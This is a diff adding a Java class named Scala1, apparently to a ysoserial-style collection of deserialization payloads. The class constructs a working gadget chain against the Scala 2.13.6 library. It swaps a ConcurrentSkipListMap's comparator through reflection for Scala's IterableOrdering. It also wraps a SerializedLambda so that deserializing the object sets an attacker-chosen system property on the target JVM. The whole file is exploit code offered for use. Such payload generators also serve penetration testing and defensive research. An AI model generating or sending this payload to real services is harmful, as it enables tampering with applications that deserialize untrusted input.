|
| 1 | +package payloads; |
| 2 | + |
| 3 | +import payloads.annotation.Authors; |
| 4 | +import payloads.annotation.Dependencies; |
| 5 | +import scala.Tuple2; |
| 6 | +import sun.reflect.ReflectionFactory; |
| 7 | +import util.PayloadRunner; |
| 8 | +import util.StubClassConstructor; |
| 9 | + |
| 10 | +import java.io.*; |
| 11 | +import java.lang.invoke.MethodHandleInfo; |
| 12 | +import java.lang.invoke.SerializedLambda; |
| 13 | +import java.lang.reflect.Constructor; |
| 14 | +import java.lang.reflect.Field; |
| 15 | +import java.util.concurrent.ConcurrentSkipListMap; |
| 16 | + |
| 17 | + |
| 18 | +@SuppressWarnings({"rawtypes"}) |
| 19 | +@Dependencies({"org.scala-lang:scala-library:2.13.6"}) |
| 20 | +@Authors({ Authors.JARIJ }) |
| 21 | +public class Scala1 extends PayloadRunner implements ObjectPayload<Object> { |
| 22 | + |
| 23 | + public Object getObject(final String command) throws Exception { |
| 24 | + String[] nameValue = command.split(":"); |
| 25 | + String key = nameValue[0]; |
| 26 | + String value = nameValue[1]; |
| 27 | + |
| 28 | + ReflectionFactory rf = |
| 29 | + ReflectionFactory.getReflectionFactory(); |
| 30 | + |
| 31 | + Tuple2 prop = new scala.Tuple2<>(key, value); |
| 32 | + |
| 33 | + // Should be: 142951686315914362 |
| 34 | + long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID(); |
| 35 | +// System.out.println("VersionUID: " + versionUID); |
| 36 | + |
| 37 | + SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class, |
| 38 | + "scala/Function0", "apply", "()Ljava/lang/Object;", |
| 39 | + MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties", |
| 40 | + "$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;", |
| 41 | + "()Lscala/sys/SystemProperties;", new Object[]{prop}); |
| 42 | + |
| 43 | + Class<?> clazz = Class.forName("scala.collection.View$Fill"); |
| 44 | + Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class); |
| 45 | + Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty)); |
| 46 | + |
| 47 | + clazz = Class.forName("scala.math.Ordering$IterableOrdering"); |
| 48 | + ctor = rf.newConstructorForSerialization( |
| 49 | + clazz, StubClassConstructor.class.getDeclaredConstructor() |
| 50 | + ); |
| 51 | + |
| 52 | + Object iterableOrdering = ctor.newInstance(); |
| 53 | + |
| 54 | + // on readObject, ConcurrentSkipListMap invokes comparator.compare(Object x, Object y); |
| 55 | + // Initialize ConcurrentSkipList with a dummy comparator (a comparator that allows putting values into the list) |
| 56 | + ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1); |
| 57 | + |
| 58 | + // add the view entry to the map, when the view.iterable().next() is invoked, the System.setProperty lambda is executed |
| 59 | + map.put(view, 1); |
| 60 | + map.put(view, 2); |
| 61 | + |
| 62 | + // Replace the comparator with the IterableComparator |
| 63 | + // IterableComparator is responsible for executing the view.iterable().next() on comparison |
| 64 | + Field f = map.getClass().getDeclaredField("comparator"); |
| 65 | + f.setAccessible(true); |
| 66 | + f.set(map, iterableOrdering); |
| 67 | + |
| 68 | + return map; |
| 69 | + } |
| 70 | + |
| 71 | + private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException { |
| 72 | + ByteArrayOutputStream baos = new ByteArrayOutputStream(); |
| 73 | + ObjectOutputStream oos = new ObjectOutputStream(baos); |
| 74 | + oos.writeObject(serialized); |
| 75 | + |
| 76 | + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); |
| 77 | + return ois.readObject(); |
| 78 | + } |
| 79 | + |
| 80 | + public static byte[] getBytes (final String command, Boolean fusion) throws Exception { |
| 81 | + return PayloadRunner.run(Scala1.class, command,fusion); |
| 82 | + } |
| 83 | +} |
0 commit comments